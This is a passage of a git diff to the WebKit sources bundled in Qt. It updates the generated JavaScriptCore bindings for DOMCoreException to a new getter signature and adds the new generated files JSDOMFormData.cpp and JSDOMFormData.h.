+    { "NO_DATA_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNO_DATA_ALLOWED_ERR), (intptr_t)0 },
+    { "NO_MODIFICATION_ALLOWED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR), (intptr_t)0 },
+    { "NOT_FOUND_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNOT_FOUND_ERR), (intptr_t)0 },
+    { "NOT_SUPPORTED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNOT_SUPPORTED_ERR), (intptr_t)0 },
+    { "INUSE_ATTRIBUTE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR), (intptr_t)0 },
+    { "INVALID_STATE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_STATE_ERR), (intptr_t)0 },
+    { "SYNTAX_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionSYNTAX_ERR), (intptr_t)0 },
+    { "INVALID_MODIFICATION_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_MODIFICATION_ERR), (intptr_t)0 },
+    { "NAMESPACE_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNAMESPACE_ERR), (intptr_t)0 },
+    { "INVALID_ACCESS_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionINVALID_ACCESS_ERR), (intptr_t)0 },
+    { "VALIDATION_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionVALIDATION_ERR), (intptr_t)0 },
+    { "TYPE_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionTYPE_MISMATCH_ERR), (intptr_t)0 },
+    { "SECURITY_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionSECURITY_ERR), (intptr_t)0 },
+    { "NETWORK_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionNETWORK_ERR), (intptr_t)0 },
+    { "ABORT_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionABORT_ERR), (intptr_t)0 },
+    { "URL_MISMATCH_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionURL_MISMATCH_ERR), (intptr_t)0 },
+    { "QUOTA_EXCEEDED_ERR", DontDelete|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMCoreExceptionQUOTA_EXCEEDED_ERR), (intptr_t)0 },
+    { "toString", DontDelete|DontEnum|Function, (intptr_t)static_cast<NativeFunction>(jsDOMCoreExceptionPrototypeFunctionToString), (intptr_t)0 },
     { 0, 0, 0, 0 }
 };
 
@@ -203,33 +203,36 @@ bool JSDOMCoreException::getOwnPropertyDescriptor(ExecState* exec, const Identif
     return getStaticValueDescriptor<JSDOMCoreException, Base>(exec, &JSDOMCoreExceptionTable, this, propertyName, descriptor);
 }
 
-JSValue jsDOMCoreExceptionCode(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMCoreExceptionCode(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMCoreException* castedThis = static_cast<JSDOMCoreException*>(asObject(slot.slotBase()));
+    JSDOMCoreException* castedThis = static_cast<JSDOMCoreException*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMCoreException* imp = static_cast<DOMCoreException*>(castedThis->impl());
-    return jsNumber(exec, imp->code());
+    JSValue result = jsNumber(exec, imp->code());
+    return result;
 }
 
-JSValue jsDOMCoreExceptionName(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMCoreExceptionName(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMCoreException* castedThis = static_cast<JSDOMCoreException*>(asObject(slot.slotBase()));
+    JSDOMCoreException* castedThis = static_cast<JSDOMCoreException*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMCoreException* imp = static_cast<DOMCoreException*>(castedThis->impl());
-    return jsString(exec, imp->name());
+    JSValue result = jsString(exec, imp->name());
+    return result;
 }
 
-JSValue jsDOMCoreExceptionMessage(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMCoreExceptionMessage(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMCoreException* castedThis = static_cast<JSDOMCoreException*>(asObject(slot.slotBase()));
+    JSDOMCoreException* castedThis = static_cast<JSDOMCoreException*>(asObject(slotBase));
     UNUSED_PARAM(exec);
     DOMCoreException* imp = static_cast<DOMCoreException*>(castedThis->impl());
-    return jsString(exec, imp->message());
+    JSValue result = jsString(exec, imp->message());
+    return result;
 }
 
-JSValue jsDOMCoreExceptionConstructor(ExecState* exec, const Identifier&, const PropertySlot& slot)
+JSValue jsDOMCoreExceptionConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
 {
-    JSDOMCoreException* domObject = static_cast<JSDOMCoreException*>(asObject(slot.slotBase()));
+    JSDOMCoreException* domObject = static_cast<JSDOMCoreException*>(asObject(slotBase));
     return JSDOMCoreException::getConstructor(exec, domObject->globalObject());
 }
 JSValue JSDOMCoreException::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
@@ -252,112 +255,112 @@ JSValue JSC_HOST_CALL jsDOMCoreExceptionPrototypeFunctionToString(ExecState* exe
 
 // Constant getters
 
-JSValue jsDOMCoreExceptionINDEX_SIZE_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionINDEX_SIZE_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(1));
 }
 
-JSValue jsDOMCoreExceptionDOMSTRING_SIZE_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionDOMSTRING_SIZE_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(2));
 }
 
-JSValue jsDOMCoreExceptionHIERARCHY_REQUEST_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionHIERARCHY_REQUEST_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(3));
 }
 
-JSValue jsDOMCoreExceptionWRONG_DOCUMENT_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionWRONG_DOCUMENT_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(4));
 }
 
-JSValue jsDOMCoreExceptionINVALID_CHARACTER_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionINVALID_CHARACTER_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(5));
 }
 
-JSValue jsDOMCoreExceptionNO_DATA_ALLOWED_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionNO_DATA_ALLOWED_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(6));
 }
 
-JSValue jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(7));
 }
 
-JSValue jsDOMCoreExceptionNOT_FOUND_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionNOT_FOUND_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(8));
 }
 
-JSValue jsDOMCoreExceptionNOT_SUPPORTED_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionNOT_SUPPORTED_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(9));
 }
 
-JSValue jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(10));
 }
 
-JSValue jsDOMCoreExceptionINVALID_STATE_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionINVALID_STATE_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(11));
 }
 
-JSValue jsDOMCoreExceptionSYNTAX_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionSYNTAX_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(12));
 }
 
-JSValue jsDOMCoreExceptionINVALID_MODIFICATION_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionINVALID_MODIFICATION_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(13));
 }
 
-JSValue jsDOMCoreExceptionNAMESPACE_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionNAMESPACE_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(14));
 }
 
-JSValue jsDOMCoreExceptionINVALID_ACCESS_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionINVALID_ACCESS_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(15));
 }
 
-JSValue jsDOMCoreExceptionVALIDATION_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionVALIDATION_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(16));
 }
 
-JSValue jsDOMCoreExceptionTYPE_MISMATCH_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionTYPE_MISMATCH_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(17));
 }
 
-JSValue jsDOMCoreExceptionSECURITY_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionSECURITY_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(18));
 }
 
-JSValue jsDOMCoreExceptionNETWORK_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionNETWORK_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(19));
 }
 
-JSValue jsDOMCoreExceptionABORT_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionABORT_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(20));
 }
 
-JSValue jsDOMCoreExceptionURL_MISMATCH_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionURL_MISMATCH_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(21));
 }
 
-JSValue jsDOMCoreExceptionQUOTA_EXCEEDED_ERR(ExecState* exec, const Identifier&, const PropertySlot&)
+JSValue jsDOMCoreExceptionQUOTA_EXCEEDED_ERR(ExecState* exec, JSValue, const Identifier&)
 {
     return jsNumber(exec, static_cast<int>(22));
 }
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.h b/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.h
index 0d99c15..8896060 100644
--- a/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.h
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMCoreException.h
@@ -21,7 +21,6 @@
 #ifndef JSDOMCoreException_h
 #define JSDOMCoreException_h
 
-#include "DOMObjectWithSVGContext.h"
 #include "JSDOMBinding.h"
 #include <runtime/JSGlobalObject.h>
 #include <runtime/ObjectPrototype.h>
@@ -43,7 +42,7 @@ public:
 
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
 
     static JSC::JSValue getConstructor(JSC::ExecState*, JSC::JSGlobalObject*);
@@ -68,7 +67,7 @@ public:
     virtual bool getOwnPropertyDescriptor(JSC::ExecState*, const JSC::Identifier&, JSC::PropertyDescriptor&);
     static PassRefPtr<JSC::Structure> createStructure(JSC::JSValue prototype)
     {
-        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags));
+        return JSC::Structure::create(prototype, JSC::TypeInfo(JSC::ObjectType, StructureFlags), AnonymousSlotCount);
     }
     JSDOMCoreExceptionPrototype(NonNullPassRefPtr<JSC::Structure> structure) : JSC::JSObject(structure) { }
 protected:
@@ -80,34 +79,34 @@ protected:
 JSC::JSValue JSC_HOST_CALL jsDOMCoreExceptionPrototypeFunctionToString(JSC::ExecState*, JSC::JSObject*, JSC::JSValue, const JSC::ArgList&);
 // Attributes
 
-JSC::JSValue jsDOMCoreExceptionCode(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionName(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionMessage(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionConstructor(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMCoreExceptionCode(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionName(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionMessage(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionConstructor(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 // Constants
 
-JSC::JSValue jsDOMCoreExceptionINDEX_SIZE_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionDOMSTRING_SIZE_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionHIERARCHY_REQUEST_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionWRONG_DOCUMENT_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionINVALID_CHARACTER_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionNO_DATA_ALLOWED_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionNOT_FOUND_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionNOT_SUPPORTED_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionINVALID_STATE_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionSYNTAX_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionINVALID_MODIFICATION_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionNAMESPACE_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionINVALID_ACCESS_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionVALIDATION_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionTYPE_MISMATCH_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionSECURITY_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionNETWORK_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionABORT_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionURL_MISMATCH_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
-JSC::JSValue jsDOMCoreExceptionQUOTA_EXCEEDED_ERR(JSC::ExecState*, const JSC::Identifier&, const JSC::PropertySlot&);
+JSC::JSValue jsDOMCoreExceptionINDEX_SIZE_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionDOMSTRING_SIZE_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionHIERARCHY_REQUEST_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionWRONG_DOCUMENT_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionINVALID_CHARACTER_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionNO_DATA_ALLOWED_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionNO_MODIFICATION_ALLOWED_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionNOT_FOUND_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionNOT_SUPPORTED_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionINUSE_ATTRIBUTE_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionINVALID_STATE_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionSYNTAX_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionINVALID_MODIFICATION_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionNAMESPACE_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionINVALID_ACCESS_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionVALIDATION_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionTYPE_MISMATCH_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionSECURITY_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionNETWORK_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionABORT_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionURL_MISMATCH_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
+JSC::JSValue jsDOMCoreExceptionQUOTA_EXCEEDED_ERR(JSC::ExecState*, JSC::JSValue, const JSC::Identifier&);
 
 } // namespace WebCore
 
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMFormData.cpp b/src/3rdparty/webkit/WebCore/generated/JSDOMFormData.cpp
new file mode 100644
index 0000000..34037bc
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMFormData.cpp
@@ -0,0 +1,193 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#include "config.h"
+#include "JSDOMFormData.h"
+
+#include "DOMFormData.h"
+#include <runtime/Error.h>
+#include <wtf/GetPtr.h>
+
+using namespace JSC;
+
+namespace WebCore {
+
+ASSERT_CLASS_FITS_IN_CELL(JSDOMFormData);
+
+/* Hash table */
+
+static const HashTableValue JSDOMFormDataTableValues[2] =
+{
+    { "constructor", DontEnum|ReadOnly, (intptr_t)static_cast<PropertySlot::GetValueFunc>(jsDOMFormDataConstructor), (intptr_t)0 },
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSDOMFormDataTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSDOMFormDataTableValues, 0 };
+#else
+    { 2, 1, JSDOMFormDataTableValues, 0 };
+#endif
+
+/* Hash table for constructor */
+
+static const HashTableValue JSDOMFormDataConstructorTableValues[1] =
+{
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSDOMFormDataConstructorTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSDOMFormDataConstructorTableValues, 0 };
+#else
+    { 1, 0, JSDOMFormDataConstructorTableValues, 0 };
+#endif
+
+class JSDOMFormDataConstructor : public DOMConstructorObject {
+public:
+    JSDOMFormDataConstructor(ExecState* exec, JSDOMGlobalObject* globalObject)
+        : DOMConstructorObject(JSDOMFormDataConstructor::createStructure(globalObject->objectPrototype()), globalObject)
+    {
+        putDirect(exec->propertyNames().prototype, JSDOMFormDataPrototype::self(exec, globalObject), None);
+    }
+    virtual bool getOwnPropertySlot(ExecState*, const Identifier&, PropertySlot&);
+    virtual bool getOwnPropertyDescriptor(ExecState*, const Identifier&, PropertyDescriptor&);
+    virtual const ClassInfo* classInfo() const { return &s_info; }
+    static const ClassInfo s_info;
+
+    static PassRefPtr<Structure> createStructure(JSValue proto) 
+    { 
+        return Structure::create(proto, TypeInfo(ObjectType, StructureFlags), AnonymousSlotCount); 
+    }
+    
+protected:
+    static const unsigned StructureFlags = OverridesGetOwnPropertySlot | ImplementsHasInstance | DOMConstructorObject::StructureFlags;
+    static JSObject* constructDOMFormData(ExecState* exec, JSObject* constructor, const ArgList&)
+    {
+        return asObject(toJS(exec, static_cast<JSDOMFormDataConstructor*>(constructor)->globalObject(), DOMFormData::create()));
+    }
+    virtual ConstructType getConstructData(ConstructData& constructData)
+    {
+        constructData.native.function = constructDOMFormData;
+        return ConstructTypeHost;
+    }
+};
+
+const ClassInfo JSDOMFormDataConstructor::s_info = { "FormDataConstructor", 0, &JSDOMFormDataConstructorTable, 0 };
+
+bool JSDOMFormDataConstructor::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSDOMFormDataConstructor, DOMObject>(exec, &JSDOMFormDataConstructorTable, this, propertyName, slot);
+}
+
+bool JSDOMFormDataConstructor::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSDOMFormDataConstructor, DOMObject>(exec, &JSDOMFormDataConstructorTable, this, propertyName, descriptor);
+}
+
+/* Hash table for prototype */
+
+static const HashTableValue JSDOMFormDataPrototypeTableValues[2] =
+{
+    { "append", DontDelete|Function, (intptr_t)static_cast<NativeFunction>(jsDOMFormDataPrototypeFunctionAppend), (intptr_t)2 },
+    { 0, 0, 0, 0 }
+};
+
+static JSC_CONST_HASHTABLE HashTable JSDOMFormDataPrototypeTable =
+#if ENABLE(PERFECT_HASH_SIZE)
+    { 0, JSDOMFormDataPrototypeTableValues, 0 };
+#else
+    { 2, 1, JSDOMFormDataPrototypeTableValues, 0 };
+#endif
+
+const ClassInfo JSDOMFormDataPrototype::s_info = { "FormDataPrototype", 0, &JSDOMFormDataPrototypeTable, 0 };
+
+JSObject* JSDOMFormDataPrototype::self(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMPrototype<JSDOMFormData>(exec, globalObject);
+}
+
+bool JSDOMFormDataPrototype::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticFunctionSlot<JSObject>(exec, &JSDOMFormDataPrototypeTable, this, propertyName, slot);
+}
+
+bool JSDOMFormDataPrototype::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticFunctionDescriptor<JSObject>(exec, &JSDOMFormDataPrototypeTable, this, propertyName, descriptor);
+}
+
+const ClassInfo JSDOMFormData::s_info = { "FormData", 0, &JSDOMFormDataTable, 0 };
+
+JSDOMFormData::JSDOMFormData(NonNullPassRefPtr<Structure> structure, JSDOMGlobalObject* globalObject, PassRefPtr<DOMFormData> impl)
+    : DOMObjectWithGlobalPointer(structure, globalObject)
+    , m_impl(impl)
+{
+}
+
+JSDOMFormData::~JSDOMFormData()
+{
+    forgetDOMObject(this, impl());
+}
+
+JSObject* JSDOMFormData::createPrototype(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return new (exec) JSDOMFormDataPrototype(JSDOMFormDataPrototype::createStructure(globalObject->objectPrototype()));
+}
+
+bool JSDOMFormData::getOwnPropertySlot(ExecState* exec, const Identifier& propertyName, PropertySlot& slot)
+{
+    return getStaticValueSlot<JSDOMFormData, Base>(exec, &JSDOMFormDataTable, this, propertyName, slot);
+}
+
+bool JSDOMFormData::getOwnPropertyDescriptor(ExecState* exec, const Identifier& propertyName, PropertyDescriptor& descriptor)
+{
+    return getStaticValueDescriptor<JSDOMFormData, Base>(exec, &JSDOMFormDataTable, this, propertyName, descriptor);
+}
+
+JSValue jsDOMFormDataConstructor(ExecState* exec, JSValue slotBase, const Identifier&)
+{
+    JSDOMFormData* domObject = static_cast<JSDOMFormData*>(asObject(slotBase));
+    return JSDOMFormData::getConstructor(exec, domObject->globalObject());
+}
+JSValue JSDOMFormData::getConstructor(ExecState* exec, JSGlobalObject* globalObject)
+{
+    return getDOMConstructor<JSDOMFormDataConstructor>(exec, static_cast<JSDOMGlobalObject*>(globalObject));
+}
+
+JSValue JSC_HOST_CALL jsDOMFormDataPrototypeFunctionAppend(ExecState* exec, JSObject*, JSValue thisValue, const ArgList& args)
+{
+    UNUSED_PARAM(args);
+    if (!thisValue.inherits(&JSDOMFormData::s_info))
+        return throwError(exec, TypeError);
+    JSDOMFormData* castedThisObj = static_cast<JSDOMFormData*>(asObject(thisValue));
+    return castedThisObj->append(exec, args);
+}
+
+JSC::JSValue toJS(JSC::ExecState* exec, JSDOMGlobalObject* globalObject, DOMFormData* object)
+{
+    return getDOMObjectWrapper<JSDOMFormData>(exec, globalObject, object);
+}
+DOMFormData* toDOMFormData(JSC::JSValue value)
+{
+    return value.inherits(&JSDOMFormData::s_info) ? static_cast<JSDOMFormData*>(asObject(value))->impl() : 0;
+}
+
+}
diff --git a/src/3rdparty/webkit/WebCore/generated/JSDOMFormData.h b/src/3rdparty/webkit/WebCore/generated/JSDOMFormData.h
new file mode 100644
index 0000000..66b9bd8
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/generated/JSDOMFormData.h
@@ -0,0 +1,89 @@
+/*
+    This file is part of the WebKit open source project.
+    This file has been generated by generate-bindings.pl. DO NOT MODIFY!
+
+    This library is free software; you can redistribute it and/or
+    modify it under the terms of the GNU Library General Public
+    License as published by the Free Software Foundation; either
+    version 2 of the License, or (at your option) any later version.
+
+    This library is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+    Library General Public License for more details.
+
+    You should have received a copy of the GNU Library General Public License
+    along with this library; see the file COPYING.LIB.  If not, write to
+    the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+    Boston, MA 02110-1301, USA.
+*/
+
+#ifndef JSDOMFormData_h
